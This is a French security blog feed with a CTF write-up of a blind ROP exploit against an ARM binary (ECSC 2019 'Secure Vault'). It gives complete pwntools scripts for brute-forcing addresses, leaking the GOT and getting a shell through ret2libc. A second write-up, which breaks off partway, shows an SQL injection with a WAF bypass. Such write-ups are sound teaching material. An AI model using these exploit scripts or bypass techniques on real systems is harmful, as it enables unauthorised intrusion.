Daily Security - L'actualité commentéehttps://www.dailysecurity.fr/2019-05-22T18:00:00+02:00Blind ROP ARM - ECSC Préquals 2019 - Secure Vault - Writeup2019-05-22T18:00:00+02:002019-05-22T18:00:00+02:00Geluchattag:www.dailysecurity.fr,2019-05-22:/blind-rop-arm-securevault-writeup<p><img src="https://www.dailysecurity.fr/images/intro-brop.png" style="width: 60%;" alt="intro"></p>
<p>Dans le cadre des préqualifications de l'ECSC, j'ai eu l'occasion de tester un challenge original dans la catégorie pwn : le challenge Secure Vault.</p>
<p>La mention "aucun binaire n'est fourni avec ce challenge" nous indique que le challenge va être intéressant !</p>
<p>Pour commencer, on se connecte au challenge :</p>
<div class="highlight"><pre><span></span><code>root@Miaou:/# nc …</code></pre></div><p><img src="https://www.dailysecurity.fr/images/intro-brop.png" style="width: 60%;" alt="intro"></p>
<p>Dans le cadre des préqualifications de l'ECSC, j'ai eu l'occasion de tester un challenge original dans la catégorie pwn : le challenge Secure Vault.</p>
<p>La mention "aucun binaire n'est fourni avec ce challenge" nous indique que le challenge va être intéressant !</p>
<p>Pour commencer, on se connecte au challenge :</p>
<div class="highlight"><pre><span></span><code>root@Miaou:/# nc challenges.ecsc-teamfrance.fr <span class="m">4006</span>
Welcome. Please enter your password:
miaou
Wrong password. Bye.
</code></pre></div>
<p>Le binaire a l'air simple, on nous demande un mot de passe : s'il est faux, il affiche "Wrong password" et se ferme.</p>
<p>On essaie donc d'overflow la seule entrée disponible :</p>
<div class="highlight"><pre><span></span><code>root@Miaou:/# nc challenges.ecsc-teamfrance.fr <span class="m">4006</span> < <<span class="o">(</span>python -c <span class="s2">"print 'a'*80"</span><span class="o">)</span>
Welcome. Please enter your password:
</code></pre></div>
<p>Pas de retour, le binaire a planté !</p>
<p>Nous n'avons pas le binaire, nous allons donc devoir l'exploiter en blind (BROP ARM FTW).</p>
<p><em>Hypothèse : Les challenges précédents étaient en ARM, on peut donc supposer que celui-ci sera en ARM aussi.</em></p>
<p>On commence par faire un bruteforce byte à byte pour obtenir le canary/ebp/eip ou PC.</p>
<p>Méthode sur <a href="https://www.dailysecurity.fr/la-stack-smashing-protection/">mon article</a> sur le stack canary :</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">leak</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o"><</span> <span class="mi">4</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">"challenges.ecsc-teamfrance.fr"</span><span class="p">,</span><span class="mi">4006</span><span class="p">)</span>
<span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="n">buf</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">56</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span>
<span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
<span class="n">dumb</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">resp</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="k">if</span> <span class="s1">'Bye'</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span>
<span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[*] byte : </span><span class="si">%r</span><span class="s2">"</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span>
<span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s1">'Hum :('</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">pass</span>
<span class="nb">print</span> <span class="n">leak</span>
<span class="c1">#Note : CTRL+C quand ça bloque</span>
</code></pre></div>
<ul>
<li>Condition vraie : "Bye" ;</li>
<li>Condition fausse : pas de retour.</li>
</ul>
<p>Suite à ce bruteforce, on obtient seulement 4 bytes : une adresse 0x10634.</p>
<p>On peut en déduire trois choses : </p>
<ul>
<li>C'est bien de l'ARM ;</li>
<li>Il n'y a pas de canary (youhou, ça aurait été pénible comme ça redémarre à chaque fois) ;</li>
<li>Pas de PIE, la valeur ne change pas, de plus elle est adressée sur les adresses ARM habituelles.</li>
</ul>
<h2>Méthodologie</h2>
<p>A partir de là, on va tenter le schéma classique de BROP :</p>
<ul>
<li>On cherche un stop gadget (gadget qui renvoie une chaine différente ou qui fait attendre le programme) ;</li>
<li>On cherche un gadget pour load nos registres ;</li>
<li>On cherche la PLT de <em>puts</em> (il n'y pas de format utilisé dans le binaire donc <em>printf</em> est optimisée en <em>puts</em> par le binaire) pour leak le binaire ;</li>
<li>On leak la libc à partir des adresses de la GOT ;</li>
<li>On calcule l'offset entre <em>puts</em> et <em>system</em> (et <em>/bin/sh</em>) ;</li>
<li>On fait un ret2libc classique.</li>
</ul>
<h2>Stop gadget</h2>
<p><img src="https://www.dailysecurity.fr/images/safe.gif" style="width: 50%;"/></p>
<p>Le stop gadget se trouve facilement. On bruteforce autour de notre PC actuel et on trouve une chaine qui renvoie "Welcome back" à 0x1065c.</p>
<p>Ce sera notre stop gadget : si on reçoit cette chaine, on sait qu'on a bien jump sur 0x1065c.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x400</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">"challenges.ecsc-teamfrance.fr"</span><span class="p">,</span><span class="mi">4006</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">'a'</span><span class="o">*</span><span class="mi">56</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x10634</span><span class="o">+</span><span class="n">i</span><span class="p">))</span>
<span class="nb">print</span> <span class="n">i</span>
<span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">pass</span>
</code></pre></div>
<h2>Gadget pour contrôler les registres</h2>
<p>Maintenant, le gadget pour les registres.</p>
<p>En ARM, il y a un gadget très connu, qui fait :
<code>LDMFD SP! {R4-R10,LR};BX LR</code>.</p>
<p>Autrement dit, il va pop nos valeurs de la stack dans les registres R4,R5,R6,R7,R8,R9,R10 et LR puis jump sur LR.</p>
<p>Avec ce gadget, on contrôle R4 jusqu'à R10.</p>
<p>Ce gadget se situe dans la <em>__libc_csu_init</em> (juste après le main). Il sera toujours présent dans nos binaires.</p>
<p>Pour en être sûr, on prend le binaire d'un autre challenge du même CTF : <em>armory</em> et on obtient :
<img alt="gadget 1" src="https://www.dailysecurity.fr/images/gad1.png"></p>
<p>On y trouve aussi deux autres gadgets intéressants, un gadget pour contrôler R0, R1 et R2 suivi d'un jump sur r3 (toujours dans <em>__libc_csu_init</em>) à l'adresse 0x10610 :
<img alt="gadget 2" src="https://www.dailysecurity.fr/images/gad2.png">
Ainsi qu'un dans .term_proc pour contrôler r3 (situé de façon relative à <em>__libc_csu_init</em> (l'offset ne change pas)) à l'adresse 0x10644 :
<img alt="gadget 3" src="https://www.dailysecurity.fr/images/gad3.png">
Avec ces trois gadgets, on contrôle tous nos registres et on peut jump où on veut.</p>
<p>Bien sur, dans le challenge, l'adresse ne sera pas la même, il faudra utiliser le stop gadget pour trouver la bonne adresse.</p>
<p>Il suffit juste de faire une boucle qui prend en compte le pop de 7 registres (R4-R10) :</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x400</span><span class="p">,</span><span class="mi">4</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">"challenges.ecsc-teamfrance.fr"</span><span class="p">,</span><span class="mi">4006</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">'a'</span><span class="o">*</span><span class="mi">56</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x10600</span><span class="o">+</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">7</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1065c</span><span class="p">))</span>
<span class="n">dump</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">result</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="s2">"Welcome back"</span> <span class="ow">in</span> <span class="n">result</span><span class="p">):</span>
<span class="nb">print</span> <span class="n">i</span>
<span class="nb">print</span> <span class="n">result</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">pass</span>
</code></pre></div>
<p>Dès que le binaire nous renvoie "Welcome back", on sait qu'on a atteint le gadget qui nous intéresse.</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="n">challenges</span><span class="o">.</span><span class="n">ecsc</span><span class="o">-</span><span class="n">teamfrance</span><span class="o">.</span><span class="n">fr</span> <span class="n">on</span> <span class="n">port</span> <span class="mi">4006</span><span class="p">:</span> <span class="n">Done</span>
<span class="mi">812</span>
<span class="n">Welcome</span> <span class="n">back</span><span class="err">!</span>
</code></pre></div>
<p><img src="https://www.dailysecurity.fr/images/iloveit.gif" alt="i like it" style="width: 50%;"/></p>
<p>A partir de là, c'est déjà le game over. On contrôle tous nos registres, on cherche <em>puts</em> avec un r0 égal à une adresse valide (j'ai pris l'adresse du gadget LDMFD SP! {R4-R10,LR} récupérée au tout début) et on applique la même méthode.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x100</span><span class="p">,</span><span class="mi">4</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">"challenges.ecsc-teamfrance.fr"</span><span class="p">,</span><span class="mi">4006</span><span class="p">)</span>
<span class="n">r0</span><span class="o">=</span><span class="mh">0x1092c</span>
<span class="n">r1</span><span class="o">=</span><span class="mi">0</span>
<span class="n">r2</span><span class="o">=</span><span class="mi">0</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">'a'</span><span class="o">*</span><span class="mi">56</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r0</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r1</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r2</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="o">+</span><span class="mh">0x18</span> <span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x10604</span><span class="o">+</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="o">-</span><span class="mh">0x1c</span><span class="p">))</span>
<span class="n">yolo</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">result</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="s2">"</span><span class="se">\xf0</span><span class="s2">G</span><span class="se">\xbd\xe8</span><span class="s2">"</span> <span class="ow">in</span> <span class="n">result</span><span class="p">):</span>
<span class="nb">print</span> <span class="s2">"</span><span class="se">\n\n\n\n</span><span class="s2">Found at "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s2">"</span><span class="se">\n\n\n\n</span><span class="s2">"</span>
<span class="nb">print</span> <span class="n">result</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">pass</span>
</code></pre></div>
<p>Si on trouve des caractères hexadécimaux dans l'output correspondant à l'instruction du gadget, on sait que c'est un <code>call puts</code>.</p>
<div class="highlight"><pre><span></span><code>[+] Opening connection to challenges.ecsc-teamfrance.fr on port 4006: Done
Found at 24
\xf0G\xbd\xe8
</code></pre></div>
<p>On peut maintenant leak tout le binaire mais au final, la seule chose qui nous intéresse c'est la GOT. </p>
<p>Celle-ci a une adresse ± fixe vers 0x21000±0x40.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="n">base_got</span><span class="o">=</span><span class="mh">0x21000</span>
<span class="n">leak_got</span><span class="o">=</span><span class="s2">""</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><</span><span class="mh">0x40</span><span class="p">:</span>
<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">"challenges.ecsc-teamfrance.fr"</span><span class="p">,</span><span class="mi">4006</span><span class="p">)</span>
<span class="n">r0</span><span class="o">=</span><span class="n">base_got</span><span class="o">+</span><span class="n">i</span>
<span class="n">r1</span><span class="o">=</span><span class="mi">0</span>
<span class="n">r2</span><span class="o">=</span><span class="mi">0</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">'a'</span><span class="o">*</span><span class="mi">56</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r0</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r1</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r2</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="o">+</span><span class="mh">0x18</span> <span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x10604</span><span class="o">+</span><span class="mi">24</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="o">-</span><span class="mh">0x1c</span><span class="p">))</span>
<span class="n">dumb</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">a</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">5000</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">if</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">):</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">leak_got</span><span class="o">+=</span><span class="s1">'</span><span class="se">\x00</span><span class="s1">'</span>
<span class="n">i</span><span class="o">+=</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">leak_got</span><span class="o">+=</span><span class="n">a</span>
<span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="o">>>></span> <span class="n">leak_got</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span>
<span class="s1">'X</span><span class="se">\xe9\x7f\xf6\xfc</span><span class="s1">E~</span><span class="se">\xf6\x94</span><span class="s1">kn</span><span class="se">\xf6\xe8\xc8</span><span class="s1">m</span><span class="se">\xf6\x90</span><span class="s1">Zt</span><span class="se">\xf6\x8c\xc0</span><span class="s1">m</span><span class="se">\xf6\xa4\xed</span><span class="s1">p</span><span class="se">\xf6\x90</span><span class="s1">ct</span><span class="se">\xf6</span><span class="s1">|</span><span class="se">\xe9</span><span class="s1">m</span><span class="se">\xf6</span><span class="s1">tUi</span><span class="se">\xf6</span><span class="s1">$Tq</span><span class="se">\xf6\xc0\xe5</span><span class="s1">p</span><span class="se">\xf6\xf0\x04\x01\x00\xf0\x04\x01\x00\x08</span><span class="s1">tl</span><span class="se">\xf6</span><span class="s1">d</span><span class="se">\xba</span><span class="s1">m</span><span class="se">\xf6\x80\x8e</span><span class="s1">o</span><span class="se">\xf6\xf0\x04\x01</span><span class="s1">'</span>
</code></pre></div>
<h2>Libc + ret2libc</h2>
<p>La triche : ici, j'ai pris la libc de armory en supposant que c'était la même que sur le challenge, ça m'a évité d'avoir à tout leak à partir des adresses de la GOT (surtout avec la latence sur le serveur). </p>
<p>Il y a deux vraies méthodes pour leak la libc : </p>
<ul>
<li>On utilise la même méthode que pour GOT en l'adaptant un peu (<em>printf</em> va couper sur tous les "badchars" comme par exemple les sauts à la ligne) et on cherche la version de la libc dans les commentaires à la fin de la libc ;</li>
<li>On utilise <a href="http://docs.pwntools.com/en/stable/dynelf.html">DynELF</a> (merci au créateur du challenge "\J" pour la méthode) qui permet de résoudre les fonctions de la libc automatiquement avec juste une fonction de leak et une adresse du binaire. Dans ma méthode, j'utilise <em>printf</em> pour leak et donc DynELF ne fonctionne pas. Il faudrait trouver un moyen de leak avec une autre fonction.</li>
</ul>
<p>Avec la libc et nos adresses de la GOT, il ne nous reste plus qu'à calculer la différence entre <em>puts</em> et <em>system</em>, et <em>puts</em> et <em>/bin/sh</em> puis à set r0 à l'adresse de <em>/bin/sh</em> et r3 à <em>system</em> (on jump sur r3 à la fin de notre séquence de gadgets).</p>
<p>Pour faire ça, on teste toutes les adresses récupérées jusqu'à trouver la valeur de la GOT de <em>puts</em> et on utilise pwntools pour calculer automatiquement l'adresse de <em>system</em> et <em>/bin/sh</em>.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">'libc.so'</span><span class="p">)</span>
<span class="n">leak_got</span><span class="o">=</span><span class="s1">'X</span><span class="se">\xe9\x7f\xf6\xfc</span><span class="s1">E~</span><span class="se">\xf6\x94</span><span class="s1">kn</span><span class="se">\xf6\xe8\xc8</span><span class="s1">m</span><span class="se">\xf6\x90</span><span class="s1">Zt</span><span class="se">\xf6\x8c\xc0</span><span class="s1">m</span><span class="se">\xf6\xa4\xed</span><span class="s1">p</span><span class="se">\xf6\x90</span><span class="s1">ct</span><span class="se">\xf6</span><span class="s1">|</span><span class="se">\xe9</span><span class="s1">m</span><span class="se">\xf6</span><span class="s1">tUi</span><span class="se">\xf6</span><span class="s1">$Tq</span><span class="se">\xf6\xc0\xe5</span><span class="s1">p</span><span class="se">\xf6\xf0\x04\x01</span><span class="s1">'</span>
<span class="n">b</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">leak_got</span><span class="p">),</span><span class="mi">4</span><span class="p">):</span>
<span class="n">b</span><span class="o">+=</span><span class="p">[</span><span class="n">leak_got</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]]</span>
<span class="k">for</span> <span class="n">leak</span> <span class="ow">in</span> <span class="n">b</span><span class="p">:</span>
<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">"challenges.ecsc-teamfrance.fr"</span><span class="p">,</span><span class="mi">4006</span><span class="p">)</span>
<span class="n">leak_system</span> <span class="o">=</span><span class="n">u32</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'puts'</span><span class="p">]</span><span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'system'</span><span class="p">]</span>
<span class="n">leak_binsh</span> <span class="o">=</span><span class="n">u32</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'puts'</span><span class="p">]</span><span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">'/bin/sh</span><span class="se">\x00</span><span class="s1">'</span><span class="p">))</span>
<span class="n">r0</span><span class="o">=</span><span class="n">leak_binsh</span>
<span class="n">r1</span><span class="o">=</span><span class="mi">0</span>
<span class="n">r2</span><span class="o">=</span><span class="mi">0</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">'a'</span><span class="o">*</span><span class="mi">56</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r0</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r1</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">r2</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="o">+</span><span class="mh">0x18</span> <span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">leak_system</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x1092c</span><span class="o">-</span><span class="mh">0x1c</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>Et paf, on obtient un shell.</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>x<span class="o">]</span> Opening connection to challenges.ecsc-teamfrance.fr on port <span class="m">4006</span>
<span class="o">[</span>x<span class="o">]</span> Opening connection to challenges.ecsc-teamfrance.fr on port <span class="m">4006</span>: Trying <span class="m">51</span>.91.16.154
<span class="o">[</span>+<span class="o">]</span> Opening connection to challenges.ecsc-teamfrance.fr on port <span class="m">4006</span>: Done
<span class="o">[</span>*<span class="o">]</span> Switching to interactive mode
Welcome. Please enter your password:
id
<span class="nv">uid</span><span class="o">=</span><span class="m">1000</span><span class="o">(</span>ctf<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span><span class="m">1000</span><span class="o">(</span>ctf<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span><span class="m">1000</span><span class="o">(</span>ctf<span class="o">)</span>
</code></pre></div>
<p><img src="https://www.dailysecurity.fr/images/meterpreter.gif" alt="meterpreter" style="width: 40%;"/></p>
<h2>Retrospective</h2>
<p>Le challenge était vraiment super intéressant. Il ressemblait comme deux gouttes d'eaux à un BROP intel x64 avec le one gadget qui load tous les registres mais ça change de voir un peu d'ARM ! </p>
<p>L'année prochaine on veut du MIPS !</p>
<hr>
<p>Voilà, c’est déjà terminé, n’hésitez pas à suivre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p>
<p>Geluchat. </p>Nuit du Hack Quals 2016 – SpaceSec – Write-Up2016-04-04T09:08:00+02:002016-04-04T09:08:00+02:00Geluchattag:www.dailysecurity.fr,2016-04-04:/write-up-ndh-quals-2016-spacesec<p>Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons …</p><p>Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons malheureusement pas réussi à nous qualifier.</p>
<p>Nous avons tout de même atteint la 11ème place (la place ingrate) ce qui est mieux que l'année précédente où après un rush infernal des autres équipes pendant la nuit nous avions finalement fini 28ème.</p>
<p>Comme chaque année le guessing était présent (la stéganographie principalement) mais cela ne m'a pas empêché de trouver des épreuves intéressantes comme l'épreuve de web que je vais vous présenter.</p>
<h3>SpaceSec 300 pts</h3>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec.png" alt="SpaceSec Challenge" style="width: 70%;"></p>
<p>La page est basique, un bon vieux challenge fait avec Bootstrap.</p>
<p>On remarque que tous les articles proposés contiennent les mêmes descriptions, seuls les numéros de CVE et les auteurs semblent changer.</p>
<p>En cliquant sur Older Post on obtient une adresse du type:</p>
<blockquote>
<p>http://spacesec.quals.nuitduhack.com/index.php?offset=6</p>
</blockquote>
<p>Si on change un peu l'offset on obtient :</p>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec-User-Flag.png" alt="SpaceSec Challenge User Flag" style="width: 60%;"></p>
<p>Oh un utilisateur qui s'appelle Flag...</p>
<p>Soyons fou, tentons la SQL injection directement :</p>
<blockquote>
<p>http://spacesec.quals.nuitduhack.com/index.php?offset=6'</p>
</blockquote>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec_Waf.png" alt="SpaceSec Waf" style="width: 60%;"></p>
<p>Bon, ça ne marche pas très bien, voyons voir si l'on peut au moins déclencher une erreur SQL:</p>
<blockquote>
<p>http://spacesec.quals.nuitduhack.com/index.php?offset=-1</p>
</blockquote>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec_-1.png" alt="SpaceSec SQLi" style="width: 60%;"></p>
<p>Yeah, une belle erreur SQL !</p>
<p>En résumé, nous avons :</p>
<ul>
<li>Un utilisateur Flag</li>
<li>Un offset modifiable d'une requête SQL</li>
<li>Une erreur SQL</li>
<li>Un affichage du numéro de l'erreur SQL</li>
<li>Un WAF maison (un pare-feu pour le Web)</li>
</ul>
<p>Après un petit temps de réflexion on en vient à deux remarques :</p>
<ul>
<li>Le WAF se bypass facilement à coups de %0a pour les espaces et de changements de casse (SeLEcT par exemple)</li>
<li>On ne peut pas faire d'UNION, la requête contient donc probablement un order by.</li>
</ul>
<p>La requête est donc dans le genre:</p>
<div class="highlight"><pre><span></span><code><span class="nx">SELECT</span> <span class="o">*</span> <span class="nx">FROM</span> <span class="nx">latable</span> <span class="nx">ORDER</span> <span class="nx">BY</span> <span class="nb">rand</span><span class="p">()</span> <span class="nx">LIMIT</span> <span class="mi">3</span> <span class="nx">OFFSET</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'offset'</span><span class="p">];</span>
</code></pre></div>
<p>Quelques recherches sur le web nous permettent de trouver un bypass assez sympathique à coup de procédure SQL.</p>
<p><a href="http://raijee1337.blogspot.fr/2015/07/bypassing-incorrect-usage-of-union-and-order-by.html">L'article</a> en question nous parle de l'utilisation de la procédure ANALYSE qui est présente dans mysql de base.</p>
